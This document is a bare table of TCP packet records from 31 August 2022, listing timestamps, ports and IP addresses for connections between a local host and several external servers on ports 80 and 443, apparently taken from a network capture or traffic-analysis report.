Aug 31, 2022 14:28:47.460501909 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460531950 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460588932 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460639000 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460643053 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460659981 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460707903 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460720062 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460772991 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460817099 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460819960 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460858107 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.460922003 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.460938931 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461002111 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461050987 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461055994 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.461067915 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461113930 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.461127996 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461183071 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461231947 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461231947 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.461245060 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461282969 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.461302996 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461406946 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461448908 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.461457014 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461471081 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.461517096 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.475836992 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.475920916 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.478687048 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.478774071 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.478780031 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.478796959 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.478840113 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.478985071 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.479022026 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.479034901 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.479047060 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.479068995 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.479090929 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.479219913 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.479295969 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.479367971 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.479463100 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.479557991 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.479617119 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.479824066 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.479903936 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.479984999 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.480066061 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.480122089 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.480194092 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.480262995 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.480331898 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.480401039 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.480470896 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.480550051 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.480624914 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.480654001 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.480730057 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.480746984 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.480771065 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.480797052 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.493155956 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.493253946 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.493278980 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.493313074 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.493375063 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.493396997 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.493413925 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.493546009 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.493642092 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.493659019 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.493721008 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.497594118 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.497699976 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.497760057 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.497849941 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.497869968 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.497956038 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.498080969 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498150110 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498155117 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.498172998 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498207092 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.498408079 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498476028 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.498495102 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498522043 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498584986 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.498599052 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498611927 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.498821974 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498902082 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.498919964 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.498979092 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499000072 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.499011993 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499042988 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.499298096 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499381065 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.499397993 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499422073 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499488115 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.499502897 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499516010 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.499572992 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499659061 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.499675035 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499739885 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.499752045 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499768972 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.499814987 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.499947071 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.500010967 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.500102997 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.500123978 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.500181913 CEST	49733	443	192.168.2.4	188.114.96.3
Aug 31, 2022 14:28:47.500200033 CEST	443	49733	188.114.96.3	192.168.2.4
Aug 31, 2022 14:28:47.918683052 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:48.068305016 CEST	80	49731	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:48.068387032 CEST	49731	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:48.187594891 CEST	49734	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:48.327013969 CEST	80	49734	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:48.327240944 CEST	49734	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:48.328217983 CEST	49734	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:48.467677116 CEST	80	49734	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:48.508616924 CEST	80	49734	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:48.568762064 CEST	49734	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:48.568818092 CEST	49734	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:48.708220005 CEST	80	49734	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:48.708251953 CEST	80	49734	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:48.726952076 CEST	80	49734	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:48.871892929 CEST	49735	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:48.874026060 CEST	49734	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:49.161438942 CEST	80	49735	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:49.161571980 CEST	49735	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:49.161731958 CEST	49735	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:49.161745071 CEST	49735	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:49.451421022 CEST	80	49735	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:50.011981010 CEST	80	49735	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:50.012310028 CEST	80	49735	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:50.012592077 CEST	49735	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:50.014503956 CEST	49735	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:50.041935921 CEST	49736	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:50.303837061 CEST	80	49735	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:50.327038050 CEST	80	49736	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:50.327214003 CEST	49736	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:50.328923941 CEST	49736	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:50.336400032 CEST	49736	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:50.621530056 CEST	80	49736	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:50.698093891 CEST	49734	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:50.821190119 CEST	49737	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:50.837573051 CEST	80	49734	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:50.837711096 CEST	49734	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:50.960684061 CEST	80	49737	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:50.960808992 CEST	49737	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:50.961720943 CEST	49737	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:51.101080894 CEST	80	49737	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:51.136491060 CEST	80	49737	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:51.219206095 CEST	49737	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:51.459486008 CEST	80	49736	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:51.459502935 CEST	80	49736	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:51.459621906 CEST	49736	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:51.468007088 CEST	49736	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:51.576992989 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:51.577050924 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:51.577119112 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:51.577414989 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:51.577434063 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:51.675950050 CEST	49737	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:51.676033020 CEST	49737	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:51.753025055 CEST	80	49736	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:51.803333044 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:51.803457022 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:51.805696964 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:51.805721045 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:51.806049109 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:51.806824923 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:51.815594912 CEST	80	49737	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:51.847373009 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:51.848023891 CEST	80	49737	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:51.921021938 CEST	49737	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:52.042372942 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.042433023 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.042531967 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.042906046 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.042931080 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.042970896 CEST	49738	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.042978048 CEST	443	49738	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.064965010 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.065001011 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.065064907 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.065366983 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.065380096 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.284202099 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.284322977 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.285970926 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.285986900 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.286501884 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.287374020 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.331376076 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.534226894 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.610687017 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.610703945 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640026093 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640055895 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640098095 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640120029 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640130043 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640142918 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640162945 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640183926 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640187025 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640237093 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640544891 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640572071 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640602112 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640604019 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640625000 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640629053 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640645981 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640662909 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640675068 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640676022 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.640706062 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.640727997 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.746479988 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.746516943 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.746648073 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.746668100 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.746716022 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.746874094 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.746903896 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.746938944 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.746948957 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.746987104 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.747016907 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.747020006 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.747091055 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.747759104 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.747832060 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.747843981 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.747930050 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.852257967 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.852291107 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.852391958 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.852410078 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.852435112 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.852736950 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.852761984 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.852807045 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.852814913 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.852845907 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.853619099 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.853652000 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.853698015 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.853712082 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.853727102 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.854505062 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.854533911 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.854581118 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.854593039 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.854609966 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.855144024 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.855179071 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.855232954 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.855242968 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.855258942 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.856031895 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.856060982 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.856103897 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.856117010 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.856134892 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.856154919 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.856810093 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.856837034 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.856928110 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.856939077 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.856954098 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.921116114 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.958620071 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.958636045 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.958684921 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.958699942 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.958728075 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.958762884 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.958775997 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.958837032 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.959038019 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.959048033 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.959094048 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.959100962 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.959177017 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.959182978 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.959229946 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.959923029 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.959949017 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.959992886 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.960000992 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.960026026 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.960040092 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.960777044 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.960803986 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.960841894 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.960849047 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.960875034 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.960895061 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.960897923 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.961407900 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.961431980 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.961468935 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.961474895 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.961497068 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.961514950 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.962167025 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.962191105 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.962308884 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.962316990 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.962441921 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.962970972 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.963059902 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.963067055 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.963082075 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:52.963105917 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.963125944 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.963310957 CEST	49739	443	192.168.2.4	206.221.182.74
Aug 31, 2022 14:28:52.963325977 CEST	443	49739	206.221.182.74	192.168.2.4
Aug 31, 2022 14:28:53.157800913 CEST	49737	80	192.168.2.4	45.136.151.102
